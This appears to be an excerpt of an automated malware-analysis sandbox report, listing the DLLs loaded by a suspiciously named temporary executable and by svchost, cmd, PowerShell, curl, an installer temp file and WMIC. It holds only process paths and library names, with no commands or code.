Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: msftedit.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: windows.globalization.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: bcp47mrm.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: globinputhost.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: windows.ui.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: windowmanagementapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: inputhost.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
